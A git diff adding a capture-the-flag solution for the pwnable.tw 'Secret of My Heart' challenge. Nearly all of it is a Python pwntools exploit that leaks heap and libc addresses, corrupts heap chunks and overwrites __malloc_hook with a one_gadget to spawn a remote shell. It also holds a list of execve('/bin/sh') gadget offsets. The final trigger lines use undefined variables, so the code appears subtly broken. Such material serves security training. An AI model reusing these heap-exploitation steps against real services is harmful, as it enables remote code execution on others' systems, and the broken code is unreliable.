diff --git a/pwnable_Secret_of_My_Heart/exp.py b/pwnable_Secret_of_My_Heart/exp.py
new file mode 100644
index 00000000..b381ebb0
--- /dev/null
+++ b/pwnable_Secret_of_My_Heart/exp.py
@@ -0,0 +1,132 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+__Auther__ = 'M4x'
+
+from pwn import *
+from time import sleep
+import roputils as rp
+import os
+import sys
+
+elfPath = "./secret_of_my_heart"
+libcPath = "./libc_64.so.6"
+remoteAddr = "chall.pwnable.tw"
+remotePort = 10302
+
+context.binary = elfPath
+context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
+
+elf = context.binary
+if sys.argv[1] == "l":
+    io = process(elfPath)
+    main_arena = 0x399b00
+    one_gadget = 0x3f32a
+    context.log_level = "debug"
+    libc = elf.libc
+
+elif sys.argv[1] == "d":
+    io = process(elfPath, env = {"LD_PRELOAD": libcPath})
+    context.log_level = "debug"
+    main_arena = 0x3c3b20
+    '''
+    0x45216	execve("/bin/sh", rsp+0x30, environ)
+    constraints:
+      rax == NULL
+    
+    0x4526a	execve("/bin/sh", rsp+0x30, environ)
+    constraints:
+      [rsp+0x30] == NULL
+    
+    0xef6c4	execve("/bin/sh", rsp+0x50, environ)
+    constraints:
+      [rsp+0x50] == NULL
+    
+    0xf0567	execve("/bin/sh", rsp+0x70, environ)
+    constraints:
+      [rsp+0x70] == NULL
+    
+    '''
+    one_gadget = 0x4526a
+    if libcPath:
+        libc = ELF(libcPath)
+
+else:
+    context.log_level = "info"
+    io = remote(remoteAddr, remotePort)
+    main_arena = 0x3c3b20
+    one_gadget = 0x4526a
+    if libcPath:
+        libc = ELF(libcPath)
+
+success = lambda name, value: log.success("{} -> {:#x}".format(name, value))
+
+def DEBUG(bps = [], pie = False):
+    cmd = "set follow-fork-mode parent\n"
+    if pie:
+        base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[2], 16)
+        cmd += ''.join(['b *{:#x}\n'.format(b + base) for b in bps])
+    else:
+        cmd += ''.join(['b *{:#x}\n'.format(b) for b in bps])
+
+    if bps != []:
+        cmd += "c"
+
+    gdb.attach(io, cmd)
+
+def add(size, name, cont):
+    io.sendlineafter(" :", "1")
+    io.sendlineafter(" : ", str(size))
+    io.sendafter(" :", name)
+    io.sendafter(" :", cont)
+
+def show(idx):
+    io.sendlineafter(" :", "2")
+    io.sendlineafter(" :", str(idx))
+
+def delete(idx):
+    io.sendlineafter(" :", "3")
+    io.sendlineafter(" :", str(idx))
+
+if __name__ == "__main__":
+    #  DEBUG([0x1022], True)
+    add(0x68, '0' * 0x20, 'aaaa')
+    show(0)
+    io.recvuntil('0' * 0x20)
+    heapbase = u64(io.recvn(6).ljust(8, '\0')) - 0x10
+    success("heap", heapbase)
+
+    add(0xf8, '1' * 0x20, 'bbbb')
+    add(0x68, '2' * 0x20, 'cccc')
+    delete(0)
+
+    add(0x68, '3' * 0x20, p64(heapbase + 0x20 - 0x18) + p64(heapbase + 0x20 - 0x10) + p64(heapbase) + 'd' * 0x48 + p64(0x70))
+    #  DEBUG([0xE20], True)
+    delete(1)
+
+    show(0)
+    libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - 88 - main_arena
+    success("libc", libc.address)
+
+    add(0x68, '4' * 0x20, 'eeee')
+    add(0xf8, '5' * 0x20, 'ffff')
+    add(0x68, '6' * 0x20, 'gggg')
+    delete(0)
+    delete(2)
+    delete(1)
+
+    add(0x68, "name", p64(libc.sym['__malloc_hook'] - 0x23))
+    add(0x68, "name", 'gggg')
+    add(0x68, "name", 'gggg')
+    payload = '\0' * 11 + p64(libc.address + one_gadget) + p64(libc.sym['__libc_realloc'] + 16)
+    #  DEBUG([0xDE2], True)
+    add(0x68, '6' * 0x20, payload)
+
+    io.sendlineafter(" :", "1")
+    io.sendlineafter(" : ", str(size))
+    io.sendafter(" :", name)
+
+    
+    io.interactive()
+    io.close()
+
+
diff --git a/pwnable_Secret_of_My_Heart/libc_64.so.6 b/pwnable_Secret_of_My_Heart/libc_64.so.6
new file mode 100755
index 00000000..54e5f87c
Binary files /dev/null and b/pwnable_Secret_of_My_Heart/libc_64.so.6 differ
diff --git a/pwnable_Secret_of_My_Heart/secret_of_my_heart b/pwnable_Secret_of_My_Heart/secret_of_my_heart
new file mode 100755
index 00000000..82babd83
Binary files /dev/null and b/pwnable_Secret_of_My_Heart/secret_of_my_heart differ
diff --git a/pwnable_Secret_of_My_Heart/secret_of_my_heart.i64 b/pwnable_Secret_of_My_Heart/secret_of_my_heart.i64
new file mode 100644
index 00000000..40f93023
Binary files /dev/null and b/pwnable_Secret_of_My_Heart/secret_of_my_heart.i64 differ
diff --git a/pwnable_Secret_of_My_Heart/struct.c b/pwnable_Secret_of_My_Heart/struct.c
new file mode 100644
index 00000000..3b1045e1
--- /dev/null
+++ b/pwnable_Secret_of_My_Heart/struct.c
@@ -0,0 +1,8 @@
+struct HEART
+{
+	short size;
+	char name[32];
+	char *secret;
+};
+//gcc -gstabs -c struct.c -o struct.o
+
diff --git a/pwnable_Secret_of_My_Heart/struct.o b/pwnable_Secret_of_My_Heart/struct.o
new file mode 100644
index 00000000..c4713060
Binary files /dev/null and b/pwnable_Secret_of_My_Heart/struct.o differ